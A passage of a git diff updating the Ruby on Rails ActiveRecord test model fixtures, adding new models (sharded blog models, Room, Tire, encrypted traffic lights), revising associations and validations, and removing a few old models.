@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Recipe < ActiveRecord::Base
   belongs_to :chef
 end
diff --git a/activerecord/test/models/recipient.rb b/activerecord/test/models/recipient.rb
new file mode 100644
index 0000000000000..e091f1eae1453
--- /dev/null
+++ b/activerecord/test/models/recipient.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Recipient < ActiveRecord::Base
+  belongs_to :message, touch: true
+end
diff --git a/activerecord/test/models/record.rb b/activerecord/test/models/record.rb
index f77ac9fc039d7..63143e296a109 100644
--- a/activerecord/test/models/record.rb
+++ b/activerecord/test/models/record.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class Record < ActiveRecord::Base
 end
diff --git a/activerecord/test/models/reference.rb b/activerecord/test/models/reference.rb
index e2bb980fed5a9..ff48e509a793a 100644
--- a/activerecord/test/models/reference.rb
+++ b/activerecord/test/models/reference.rb
@@ -1,7 +1,10 @@
+# frozen_string_literal: true
+
 class Reference < ActiveRecord::Base
   belongs_to :person
   belongs_to :job
 
+  has_many :ideal_jobs, class_name: "Job", foreign_key: :ideal_reference_id
   has_many :agents_posts_authors, through: :person
 
   class << self; attr_accessor :make_comments; end
@@ -18,5 +21,5 @@ def make_comments
 
 class BadReference < ActiveRecord::Base
   self.table_name = "references"
-  default_scope { where(favourite: false) }
+  default_scope { where(favorite: false) }
 end
diff --git a/activerecord/test/models/reply.rb b/activerecord/test/models/reply.rb
index a2d169292ad0d..c5587081b098e 100644
--- a/activerecord/test/models/reply.rb
+++ b/activerecord/test/models/reply.rb
@@ -1,9 +1,30 @@
+# frozen_string_literal: true
+
 require "models/topic"
 
 class Reply < Topic
-  belongs_to :topic, foreign_key: "parent_id", counter_cache: true
-  belongs_to :topic_with_primary_key, class_name: "Topic", primary_key: "title", foreign_key: "parent_title", counter_cache: "replies_count"
+  belongs_to :topic, foreign_key: "parent_id", counter_cache: true, inverse_of: :replies
+  belongs_to :topic_with_primary_key, class_name: "Topic", primary_key: "title", foreign_key: "parent_title", counter_cache: "replies_count", touch: true
   has_many :replies, class_name: "SillyReply", dependent: :destroy, foreign_key: "parent_id"
+  has_many :silly_unique_replies, dependent: :destroy, foreign_key: "parent_id"
+
+  scope :ordered, -> { Reply.order(:id) }
+
+  alias_attribute :new_content, :content
+  alias_attribute :new_parent_id, :parent_id
+
+  # Method on Kernel
+  def self.open
+    approved
+  end
+
+  # Methods both on Kernel and Relation
+  def self.load(data:); end
+  def self.select(data:); end
+end
+
+class SillyReply < Topic
+  belongs_to :reply, foreign_key: "parent_id", counter_cache: :replies_count
 end
 
 class UniqueReply < Reply
@@ -12,6 +33,7 @@ class UniqueReply < Reply
 end
 
 class SillyUniqueReply < UniqueReply
+  validates :content, uniqueness: true
 end
 
 class WrongReply < Reply
@@ -24,36 +46,32 @@ class WrongReply < Reply
   validate :check_author_name_is_secret, on: :special_case
 
   def check_empty_title
-    errors[:title] << "Empty" unless attribute_present?("title")
+    errors.add(:title, "Empty") unless attribute_present?("title")
   end
 
   def errors_on_empty_content
-    errors[:content] << "Empty" unless attribute_present?("content")
+    errors.add(:content, "Empty") unless attribute_present?("content")
   end
 
   def check_content_mismatch
     if attribute_present?("title") && attribute_present?("content") && content == "Mismatch"
-      errors[:title] << "is Content Mismatch"
+      errors.add(:title, "is Content Mismatch")
     end
   end
 
   def title_is_wrong_create
-    errors[:title] << "is Wrong Create" if attribute_present?("title") && title == "Wrong Create"
+    errors.add(:title, "is Wrong Create") if attribute_present?("title") && title == "Wrong Create"
   end
 
   def check_wrong_update
-    errors[:title] << "is Wrong Update" if attribute_present?("title") && title == "Wrong Update"
+    errors.add(:title, "is Wrong Update") if attribute_present?("title") && title == "Wrong Update"
   end
 
   def check_author_name_is_secret
-    errors[:author_name] << "Invalid" unless author_name == "secret"
+    errors.add(:author_name, "Invalid") unless author_name == "secret"
   end
 end
 
-class SillyReply < Reply
-  belongs_to :reply, foreign_key: "parent_id", counter_cache: :replies_count
-end
-
 module Web
   class Reply < Web::Topic
     belongs_to :topic, foreign_key: "parent_id", counter_cache: true, class_name: "Web::Topic"
diff --git a/activerecord/test/models/room.rb b/activerecord/test/models/room.rb
new file mode 100644
index 0000000000000..7589ddeda71c8
--- /dev/null
+++ b/activerecord/test/models/room.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Room < ActiveRecord::Base
+  belongs_to :user
+  belongs_to :owner, class_name: "User"
+
+  belongs_to :landlord, class_name: "User", dependent: :destroy, inverse_of: :let_room
+  belongs_to :tenant, class_name: "User", dependent: :destroy, inverse_of: :rented_room
+end
diff --git a/activerecord/test/models/section.rb b/activerecord/test/models/section.rb
new file mode 100644
index 0000000000000..f8b4cc79367cb
--- /dev/null
+++ b/activerecord/test/models/section.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Section < ActiveRecord::Base
+  belongs_to :session, inverse_of: :sections, autosave: true
+  belongs_to :seminar, inverse_of: :sections, autosave: true
+end
diff --git a/activerecord/test/models/seminar.rb b/activerecord/test/models/seminar.rb
new file mode 100644
index 0000000000000..c18aa864336b6
--- /dev/null
+++ b/activerecord/test/models/seminar.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Seminar < ActiveRecord::Base
+  has_many :sections, inverse_of: :seminar, autosave: true, dependent: :destroy
+  has_many :sessions, through: :sections
+end
diff --git a/activerecord/test/models/session.rb b/activerecord/test/models/session.rb
new file mode 100644
index 0000000000000..db66b5297e7fd
--- /dev/null
+++ b/activerecord/test/models/session.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Session < ActiveRecord::Base
+  has_many :sections, inverse_of: :session, autosave: true, dependent: :destroy
+  has_many :seminars, through: :sections
+end
diff --git a/activerecord/test/models/sharded.rb b/activerecord/test/models/sharded.rb
new file mode 100644
index 0000000000000..8a7448a05389e
--- /dev/null
+++ b/activerecord/test/models/sharded.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+require_relative "sharded/blog"
+require_relative "sharded/blog_post"
+require_relative "sharded/blog_post_with_revision"
+require_relative "sharded/comment"
+require_relative "sharded/tag"
+require_relative "sharded/blog_post_tag"
diff --git a/activerecord/test/models/sharded/blog.rb b/activerecord/test/models/sharded/blog.rb
new file mode 100644
index 0000000000000..79c70d8f1b16e
--- /dev/null
+++ b/activerecord/test/models/sharded/blog.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+# Models under `Sharded` namespace represent an application that can be sharded by a `blog_id` column.
+# `Blog` model plays the role of a tenant in the application.
+# Being sharded by the `blog_id` means that queries to the database include the `blog_id` column in the clauses
+# which serves as a sharding key allows presumed sharding implementation to route the query to a correct shard.
+
+module Sharded
+  class Blog < ActiveRecord::Base
+    self.table_name = :sharded_blogs
+  end
+end
diff --git a/activerecord/test/models/sharded/blog_post.rb b/activerecord/test/models/sharded/blog_post.rb
new file mode 100644
index 0000000000000..c5e2cb1d4d4ba
--- /dev/null
+++ b/activerecord/test/models/sharded/blog_post.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Sharded
+  class BlogPost < ActiveRecord::Base
+    self.table_name = :sharded_blog_posts
+    query_constraints :blog_id, :id
+
+    belongs_to :parent, polymorphic: true
+    belongs_to :blog
+    has_many :comments
+    has_many :delete_comments, class_name: "Sharded::Comment", dependent: :delete_all
+    has_many :children, class_name: name, as: :parent
+
+    has_many :blog_post_tags
+    has_many :tags, through: :blog_post_tags
+  end
+end
diff --git a/activerecord/test/models/sharded/blog_post_destroy_async.rb b/activerecord/test/models/sharded/blog_post_destroy_async.rb
new file mode 100644
index 0000000000000..0e4f6651084d3
--- /dev/null
+++ b/activerecord/test/models/sharded/blog_post_destroy_async.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Sharded
+  class BlogPostDestroyAsync < ActiveRecord::Base
+    self.table_name = :sharded_blog_posts
+    query_constraints :blog_id, :id
+
+    belongs_to :blog
+    has_many :comments, dependent: :destroy_async, foreign_key: [:blog_id, :blog_post_id], class_name: "Sharded::CommentDestroyAsync"
+
+    has_many :blog_post_tags, foreign_key: [:blog_id, :blog_post_id], class_name: "Sharded::BlogPostTag"
+    has_many :tags, through: :blog_post_tags, dependent: :destroy_async, class_name: "Sharded::Tag"
+  end
+end
diff --git a/activerecord/test/models/sharded/blog_post_tag.rb b/activerecord/test/models/sharded/blog_post_tag.rb
new file mode 100644
index 0000000000000..2ce5ef410d72d
--- /dev/null
+++ b/activerecord/test/models/sharded/blog_post_tag.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Sharded
+  class BlogPostTag < ActiveRecord::Base
+    self.table_name = :sharded_blog_posts_tags
+    query_constraints :blog_id, :id
+
+    belongs_to :blog_post
+    belongs_to :tag
+  end
+end
diff --git a/activerecord/test/models/sharded/blog_post_with_revision.rb b/activerecord/test/models/sharded/blog_post_with_revision.rb
new file mode 100644
index 0000000000000..1c947cdcab4e7
--- /dev/null
+++ b/activerecord/test/models/sharded/blog_post_with_revision.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Sharded
+  # copy of the original `BlogPost` class, but with a different `query_constraints`
+  class BlogPostWithRevision < ActiveRecord::Base
+    self.table_name = :sharded_blog_posts
+    query_constraints :blog_id, :revision, :id
+
+    has_many :comments, primary_key: [:blog_id, :id], foreign_key: [:blog_id, :blog_post_id]
+  end
+end
diff --git a/activerecord/test/models/sharded/comment.rb b/activerecord/test/models/sharded/comment.rb
new file mode 100644
index 0000000000000..1f2d7e6978c7f
--- /dev/null
+++ b/activerecord/test/models/sharded/comment.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Sharded
+  class Comment < ActiveRecord::Base
+    self.table_name = :sharded_comments
+    query_constraints :blog_id, :id
+
+    belongs_to :blog_post
+    belongs_to :blog_post_by_id, class_name: "Sharded::BlogPost", foreign_key: :blog_post_id, primary_key: :id
+    belongs_to :blog
+  end
+end
diff --git a/activerecord/test/models/sharded/comment_destroy_async.rb b/activerecord/test/models/sharded/comment_destroy_async.rb
new file mode 100644
index 0000000000000..69f04a5d9dcf0
--- /dev/null
+++ b/activerecord/test/models/sharded/comment_destroy_async.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Sharded
+  class CommentDestroyAsync < ActiveRecord::Base
+    self.table_name = :sharded_comments
+    query_constraints :blog_id, :id
+
+    belongs_to :blog_post, dependent: :destroy_async, foreign_key: [:blog_id, :blog_post_id], class_name: "Sharded::BlogPostDestroyAsync"
+    belongs_to :blog_post_by_id, class_name: "Sharded::BlogPostDestroyAsync", foreign_key: :blog_post_id
+    belongs_to :blog
+  end
+end
diff --git a/activerecord/test/models/sharded/tag.rb b/activerecord/test/models/sharded/tag.rb
new file mode 100644
index 0000000000000..911073e8e4235
--- /dev/null
+++ b/activerecord/test/models/sharded/tag.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Sharded
+  class Tag < ActiveRecord::Base
+    self.table_name = :sharded_tags
+    query_constraints :blog_id, :id
+
+    has_many :blog_post_tags
+    has_many :blog_posts, through: :blog_post_tags
+  end
+end
diff --git a/activerecord/test/models/ship.rb b/activerecord/test/models/ship.rb
index 77a7b22315024..eb08d40fd7d88 100644
--- a/activerecord/test/models/ship.rb
+++ b/activerecord/test/models/ship.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Ship < ActiveRecord::Base
   self.record_timestamps = false
 
@@ -22,10 +24,11 @@ def cancel_save_callback_method
 
 class ShipWithoutNestedAttributes < ActiveRecord::Base
   self.table_name = "ships"
-  has_many :prisoners, inverse_of: :ship, foreign_key: :ship_id
+  has_many :prisoners, inverse_of: :ship
   has_many :parts, class_name: "ShipPart", foreign_key: :ship_id
 
-  validates :name, presence: true
+  validates :name, presence: true, if: -> { true }
+  validates :name, presence: true, if: -> { true }
 end
 
 class Prisoner < ActiveRecord::Base
@@ -34,6 +37,6 @@ class Prisoner < ActiveRecord::Base
 
 class FamousShip < ActiveRecord::Base
   self.table_name = "ships"
-  belongs_to :famous_pirate
+  belongs_to :famous_pirate, foreign_key: :pirate_id
   validates_presence_of :name, on: :conference
 end
diff --git a/activerecord/test/models/ship_part.rb b/activerecord/test/models/ship_part.rb
index 1a633b8d776ff..f6d7a8ae5e215 100644
--- a/activerecord/test/models/ship_part.rb
+++ b/activerecord/test/models/ship_part.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ShipPart < ActiveRecord::Base
   belongs_to :ship
   has_many :trinkets, class_name: "Treasure", as: :looter
diff --git a/activerecord/test/models/shipping_line.rb b/activerecord/test/models/shipping_line.rb
new file mode 100644
index 0000000000000..4044a5ee38905
--- /dev/null
+++ b/activerecord/test/models/shipping_line.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class ShippingLine < ActiveRecord::Base
+  belongs_to :invoice, touch: true
+  has_many :discount_applications, class_name: "ShippingLineDiscountApplication"
+end
+
+class ShippingLineDiscountApplication < ActiveRecord::Base
+  belongs_to :shipping_line
+  belongs_to :discount
+end
diff --git a/activerecord/test/models/shop.rb b/activerecord/test/models/shop.rb
index f9d23d13b0228..92afe70b92bf4 100644
--- a/activerecord/test/models/shop.rb
+++ b/activerecord/test/models/shop.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Shop
   class Collection < ActiveRecord::Base
     has_many :products, dependent: :nullify
diff --git a/activerecord/test/models/shop_account.rb b/activerecord/test/models/shop_account.rb
index 1580e8b20cbae..97fb05833144d 100644
--- a/activerecord/test/models/shop_account.rb
+++ b/activerecord/test/models/shop_account.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ShopAccount < ActiveRecord::Base
   belongs_to :customer
   belongs_to :customer_carrier
diff --git a/activerecord/test/models/speedometer.rb b/activerecord/test/models/speedometer.rb
index 497c3aba9a98f..e456907a229a0 100644
--- a/activerecord/test/models/speedometer.rb
+++ b/activerecord/test/models/speedometer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Speedometer < ActiveRecord::Base
   self.primary_key = :speedometer_id
   belongs_to :dashboard
diff --git a/activerecord/test/models/sponsor.rb b/activerecord/test/models/sponsor.rb
index 3f142b25fe23e..18ff103ffe6e8 100644
--- a/activerecord/test/models/sponsor.rb
+++ b/activerecord/test/models/sponsor.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 class Sponsor < ActiveRecord::Base
   belongs_to :sponsor_club, class_name: "Club", foreign_key: "club_id"
   belongs_to :sponsorable, polymorphic: true
+  belongs_to :sponsor, polymorphic: true
   belongs_to :thing, polymorphic: true, foreign_type: :sponsorable_type, foreign_key: :sponsorable_id
   belongs_to :sponsorable_with_conditions, -> { where name: "Ernie" }, polymorphic: true,
              foreign_type: "sponsorable_type", foreign_key: "sponsorable_id"
diff --git a/activerecord/test/models/squeak.rb b/activerecord/test/models/squeak.rb
new file mode 100644
index 0000000000000..e0a643c2386f2
--- /dev/null
+++ b/activerecord/test/models/squeak.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Squeak < ActiveRecord::Base
+  belongs_to :mouse
+  accepts_nested_attributes_for :mouse
+end
diff --git a/activerecord/test/models/strict_zine.rb b/activerecord/test/models/strict_zine.rb
new file mode 100644
index 0000000000000..24f66af15b8f8
--- /dev/null
+++ b/activerecord/test/models/strict_zine.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require "models/zine"
+
+class StrictZine < Zine
+  self.strict_loading_by_default = true
+end
diff --git a/activerecord/test/models/string_key_object.rb b/activerecord/test/models/string_key_object.rb
index f084ec1bdcedd..473c145f4c55b 100644
--- a/activerecord/test/models/string_key_object.rb
+++ b/activerecord/test/models/string_key_object.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class StringKeyObject < ActiveRecord::Base
   self.primary_key = :id
 end
diff --git a/activerecord/test/models/student.rb b/activerecord/test/models/student.rb
index 28a0b6c99bcf1..e750798f7437b 100644
--- a/activerecord/test/models/student.rb
+++ b/activerecord/test/models/student.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Student < ActiveRecord::Base
   has_and_belongs_to_many :lessons
   belongs_to :college
diff --git a/activerecord/test/models/subject.rb b/activerecord/test/models/subject.rb
deleted file mode 100644
index 504f68a296715..0000000000000
--- a/activerecord/test/models/subject.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# used for OracleSynonymTest, see test/synonym_test_oracle.rb
-#
-class Subject < ActiveRecord::Base
-  # added initialization of author_email_address in the same way as in Topic class
-  # as otherwise synonym test was failing
-  after_initialize :set_email_address
-
-  private
-    def set_email_address
-      unless persisted?
-        self.author_email_address = "test@test.com"
-      end
-    end
-end
diff --git a/activerecord/test/models/subscriber.rb b/activerecord/test/models/subscriber.rb
index a820329003fd0..bd298dae25d29 100644
--- a/activerecord/test/models/subscriber.rb
+++ b/activerecord/test/models/subscriber.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
 class Subscriber < ActiveRecord::Base
   self.primary_key = "nick"
+
   has_many :subscriptions
   has_many :books, through: :subscriptions
 end
diff --git a/activerecord/test/models/subscription.rb b/activerecord/test/models/subscription.rb
index 1cedf6deaedcd..b12eb0bcb7ca1 100644
--- a/activerecord/test/models/subscription.rb
+++ b/activerecord/test/models/subscription.rb
@@ -1,4 +1,10 @@
+# frozen_string_literal: true
+
 class Subscription < ActiveRecord::Base
+  self.automatically_invert_plural_associations = true
+
   belongs_to :subscriber, counter_cache: :books_count
-  belongs_to :book
+  belongs_to :book, -> { author_visibility_visible }
+
+  validates_presence_of :subscriber_id, :book_id
 end
diff --git a/activerecord/test/models/tag.rb b/activerecord/test/models/tag.rb
index c907aea10fc66..c1a8890a8aee1 100644
--- a/activerecord/test/models/tag.rb
+++ b/activerecord/test/models/tag.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Tag < ActiveRecord::Base
   has_many :taggings
   has_many :taggables, through: :taggings
@@ -9,5 +11,6 @@ class Tag < ActiveRecord::Base
 class OrderedTag < Tag
   self.table_name = "tags"
 
-  has_many :taggings, -> { order("taggings.id DESC") }, foreign_key: "tag_id"
+  has_many :ordered_taggings, -> { order("taggings.id DESC") }, foreign_key: "tag_id", class_name: "Tagging"
+  has_many :tagged_posts, through: :ordered_taggings, source: "taggable", source_type: "Post"
 end
diff --git a/activerecord/test/models/tagging.rb b/activerecord/test/models/tagging.rb
index f739b4a197406..6d4230f6f4559 100644
--- a/activerecord/test/models/tagging.rb
+++ b/activerecord/test/models/tagging.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 # test that attr_readonly isn't called on the :taggable polymorphic association
 module Taggable
 end
@@ -6,8 +8,13 @@ class Tagging < ActiveRecord::Base
   belongs_to :tag, -> { includes(:tagging) }
   belongs_to :super_tag,   class_name: "Tag", foreign_key: "super_tag_id"
   belongs_to :invalid_tag, class_name: "Tag", foreign_key: "tag_id"
+  belongs_to :ordered_tag, class_name: "OrderedTag", foreign_key: "tag_id"
   belongs_to :blue_tag, -> { where tags: { name: "Blue" } }, class_name: "Tag", foreign_key: :tag_id
   belongs_to :tag_with_primary_key, class_name: "Tag", foreign_key: :tag_id, primary_key: :custom_primary_key
   belongs_to :taggable, polymorphic: true, counter_cache: :tags_count
   has_many :things, through: :taggable
 end
+
+class IndestructibleTagging < Tagging
+  before_destroy { throw :abort }
+end
diff --git a/activerecord/test/models/task.rb b/activerecord/test/models/task.rb
index e36989dd560be..dabe3ce06b540 100644
--- a/activerecord/test/models/task.rb
+++ b/activerecord/test/models/task.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Task < ActiveRecord::Base
   def updated_at
     ending
diff --git a/activerecord/test/models/tire.rb b/activerecord/test/models/tire.rb
new file mode 100644
index 0000000000000..ef4ebe8248ca3
--- /dev/null
+++ b/activerecord/test/models/tire.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class Tire < ActiveRecord::Base
+  belongs_to :car, counter_cache: { active: true, column: :custom_tires_count }
+
+  def self.custom_find(id)
+    find(id)
+  end
+
+  def self.custom_find_by(*args)
+    find_by(*args)
+  end
+end
diff --git a/activerecord/test/models/too_long_table_name.rb b/activerecord/test/models/too_long_table_name.rb
new file mode 100644
index 0000000000000..ce793e7d36d62
--- /dev/null
+++ b/activerecord/test/models/too_long_table_name.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class TooLongTableName < ActiveRecord::Base
+  self.table_name = "toooooooooooooooooooooooooooooooooo_long_table_names"
+end
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
index 0420e2d15c108..33fd0b4243d70 100644
--- a/activerecord/test/models/topic.rb
+++ b/activerecord/test/models/topic.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Topic < ActiveRecord::Base
   scope :base, -> { all }
   scope :written_before, lambda { |time|
@@ -8,32 +10,45 @@ class Topic < ActiveRecord::Base
   scope :approved, -> { where(approved: true) }
   scope :rejected, -> { where(approved: false) }
 
+  scope :true, -> { where(approved: true) }
+  scope :false, -> { where(approved: false) }
+
+  scope :children, -> { where.not(parent_id: nil) }
+  scope :has_children, -> { where(id: Topic.children.select(:parent_id)) }
+
   scope :scope_with_lambda, lambda { all }
 
   scope :by_lifo, -> { where(author_name: "lifo") }
   scope :replied, -> { where "replies_count > 0" }
 
   scope "approved_as_string", -> { where(approved: true) }
-  scope :anonymous_extension, -> { all } do
+  scope :anonymous_extension, -> { } do
     def one
       1
     end
   end
 
+  scope :scope_stats, -> stats { stats[:count] = count; self }
+
+  def self.klass_stats(stats); stats[:count] = count; self; end
+
   scope :with_object, Class.new(Struct.new(:klass)) {
     def call
       klass.where(approved: true)
     end
   }.new(self)
 
+  scope :with_kwargs, ->(approved: false) { where(approved: approved) }
+
   module NamedExtension
     def two
       2
     end
   end
 
-  has_many :replies, dependent: :destroy, foreign_key: "parent_id", autosave: true
+  has_many :replies, dependent: :destroy, autosave: true, inverse_of: :topic
   has_many :approved_replies, -> { approved }, class_name: "Reply", foreign_key: "parent_id", counter_cache: "replies_count"
+  has_many :open_replies, -> { open }, class_name: "Reply", foreign_key: "parent_id"
 
   has_many :unique_replies, dependent: :destroy, foreign_key: "parent_id"
   has_many :silly_unique_replies, dependent: :destroy, foreign_key: "parent_id"
@@ -63,28 +78,44 @@ def topic_id
 
   after_initialize :set_email_address
 
+  attr_accessor :change_approved_before_save
+  before_save :change_approved_callback
+
   class_attribute :after_initialize_called
   after_initialize do
     self.class.after_initialize_called = true
   end
 
+  attr_accessor :after_touch_called
+
+  after_initialize do
+    self.after_touch_called = 0
+  end
+
+  after_touch do
+    self.after_touch_called += 1
+  end
+
   def approved=(val)
     @custom_approved = val
     write_attribute(:approved, val)
   end
 
-  private
+  def self.nested_scoping(scope)
+    scope.base
+  end
 
+  private
     def default_written_on
       self.written_on = Time.now unless attribute_present?("written_on")
     end
 
     def destroy_children
-      self.class.where("parent_id = #{id}").delete_all
+      self.class.delete_by(parent_id: id)
     end
 
     def set_email_address
-      unless persisted?
+      unless persisted? || will_save_change_to_author_email_address?
         self.author_email_address = "test@test.com"
       end
     end
@@ -94,10 +125,10 @@ def before_save_for_transaction; end
     def before_destroy_for_transaction; end
     def after_save_for_transaction; end
     def after_create_for_transaction; end
-end
 
-class ImportantTopic < Topic
-  serialize :important, Hash
+    def change_approved_callback
+      self.approved = change_approved_before_save unless change_approved_before_save.nil?
+    end
 end
 
 class DefaultRejectedTopic < Topic
@@ -111,6 +142,12 @@ def blank?
   end
 end
 
+class TitlePrimaryKeyTopic < Topic
+  self.primary_key = :title
+
+  alias_attribute :id_value, :id
+end
+
 module Web
   class Topic < ActiveRecord::Base
     has_many :replies, dependent: :destroy, foreign_key: "parent_id", class_name: "Web::Reply"
diff --git a/activerecord/test/models/toy.rb b/activerecord/test/models/toy.rb
index ddc7048a56d47..d405078f96dec 100644
--- a/activerecord/test/models/toy.rb
+++ b/activerecord/test/models/toy.rb
@@ -1,6 +1,10 @@
+# frozen_string_literal: true
+
 class Toy < ActiveRecord::Base
   self.primary_key = :toy_id
   belongs_to :pet
 
+  has_many :sponsors, as: :sponsorable, inverse_of: :sponsorable
+
   scope :with_pet, -> { joins(:pet) }
 end
diff --git a/activerecord/test/models/traffic_light.rb b/activerecord/test/models/traffic_light.rb
index a6b7edb882846..d803dd8abf08e 100644
--- a/activerecord/test/models/traffic_light.rb
+++ b/activerecord/test/models/traffic_light.rb
@@ -1,4 +1,6 @@
+# frozen_string_literal: true
+
 class TrafficLight < ActiveRecord::Base
-  serialize :state, Array
-  serialize :long_state, Array
+  serialize :state, type: Array
+  serialize :long_state, type: Array
 end
diff --git a/activerecord/test/models/traffic_light_encrypted.rb b/activerecord/test/models/traffic_light_encrypted.rb
new file mode 100644
index 0000000000000..8926d09d7d8a0
--- /dev/null
+++ b/activerecord/test/models/traffic_light_encrypted.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+
+require "models/traffic_light"
+
+class EncryptedTrafficLight < TrafficLight
+  encrypts :state
+end
+
+class EncryptedFirstTrafficLight < ActiveRecord::Base
+  self.table_name = "traffic_lights"
+
+  encrypts :state
+  serialize :state, type: Array
+  serialize :long_state, type: Array
+end
+
+class EncryptedTrafficLightWithStoreState < TrafficLight
+  store :state, accessors: %i[ color ], coder: ActiveRecord::Coders::JSON
+  encrypts :state
+end
diff --git a/activerecord/test/models/translation.rb b/activerecord/test/models/translation.rb
new file mode 100644
index 0000000000000..f7485ba3569bb
--- /dev/null
+++ b/activerecord/test/models/translation.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Translation < ActiveRecord::Base
+  belongs_to :attachment, optional: true
+
+  validates :locale, presence: true
+  validates :key, presence: true
+  validates :value, presence: true
+end
diff --git a/activerecord/test/models/treasure.rb b/activerecord/test/models/treasure.rb
index fb2a5d44e2ff0..cb9253a369814 100644
--- a/activerecord/test/models/treasure.rb
+++ b/activerecord/test/models/treasure.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 class Treasure < ActiveRecord::Base
   has_and_belongs_to_many :parrots
   belongs_to :looter, polymorphic: true
   # No counter_cache option given
   belongs_to :ship
 
-  has_many :price_estimates, as: :estimate_of
+  has_many :price_estimates, as: :estimate_of, autosave: true
   has_and_belongs_to_many :rich_people, join_table: "peoples_treasures", validate: false
 
   accepts_nested_attributes_for :looter
diff --git a/activerecord/test/models/treaty.rb b/activerecord/test/models/treaty.rb
index 373cd48f71940..b87a757d2a87f 100644
--- a/activerecord/test/models/treaty.rb
+++ b/activerecord/test/models/treaty.rb
@@ -1,5 +1,5 @@
-class Treaty < ActiveRecord::Base
-  self.primary_key = :treaty_id
+# frozen_string_literal: true
 
+class Treaty < ActiveRecord::Base
   has_and_belongs_to_many :countries
 end
diff --git a/activerecord/test/models/tree.rb b/activerecord/test/models/tree.rb
index dc29cccc9ca4a..77050c5fff3bc 100644
--- a/activerecord/test/models/tree.rb
+++ b/activerecord/test/models/tree.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Tree < ActiveRecord::Base
   has_many :nodes, dependent: :destroy
 end
diff --git a/activerecord/test/models/tuning_peg.rb b/activerecord/test/models/tuning_peg.rb
index 1252d6dc1d58b..6e052e1d0f156 100644
--- a/activerecord/test/models/tuning_peg.rb
+++ b/activerecord/test/models/tuning_peg.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class TuningPeg < ActiveRecord::Base
   belongs_to :guitar
   validates_numericality_of :pitch
diff --git a/activerecord/test/models/tyre.rb b/activerecord/test/models/tyre.rb
deleted file mode 100644
index e50a21ca68acd..0000000000000
--- a/activerecord/test/models/tyre.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Tyre < ActiveRecord::Base
-  belongs_to :car
-
-  def self.custom_find(id)
-    find(id)
-  end
-
-  def self.custom_find_by(*args)
-    find_by(*args)
-  end
-end
diff --git a/activerecord/test/models/user.rb b/activerecord/test/models/user.rb
index 5089a795f4539..6779670a2c5fd 100644
--- a/activerecord/test/models/user.rb
+++ b/activerecord/test/models/user.rb
@@ -1,18 +1,44 @@
+# frozen_string_literal: true
+
 require "models/job"
 
 class User < ActiveRecord::Base
+  has_secure_password validations: false
+  has_secure_password :recovery_password, validations: false
+
   has_secure_token
-  has_secure_token :auth_token
+  has_secure_token :auth_token, length: 36
 
   has_and_belongs_to_many :jobs_pool,
     class_name: "Job",
     join_table: "jobs_pool"
 
+  has_one :room
+  has_one :owned_room, class_name: "Room", foreign_key: "owner_id"
   has_one :family_tree, -> { where(token: nil) }, foreign_key: "member_id"
   has_one :family, through: :family_tree
   has_many :family_members, through: :family, source: :members
+
+  has_one :let_room, class_name: "Room", foreign_key: "landlord_id", dependent: :destroy
+  has_one :rented_room, class_name: "Room", foreign_key: "tenant_id", dependent: :destroy
 end
 
 class UserWithNotification < User
   after_create -> { Notification.create! message: "A new user has been created." }
 end
+
+module Child
+end
+
+module Nested
+  class User < ActiveRecord::Base
+    self.table_name = "users"
+  end
+
+  class NestedUser < ActiveRecord::Base
+    has_many :nested_users
+  end
+
+  class Child < ActiveRecord::Base
+  end
+end
diff --git a/activerecord/test/models/user_with_invalid_relation.rb b/activerecord/test/models/user_with_invalid_relation.rb
new file mode 100644
index 0000000000000..d4525eb81e8f8
--- /dev/null
+++ b/activerecord/test/models/user_with_invalid_relation.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class UserWithInvalidRelation < ActiveRecord::Base
+  has_one :not_a_class
+
+  has_one :class_name_provided_not_a_class, class_name: "NotAClass"
+
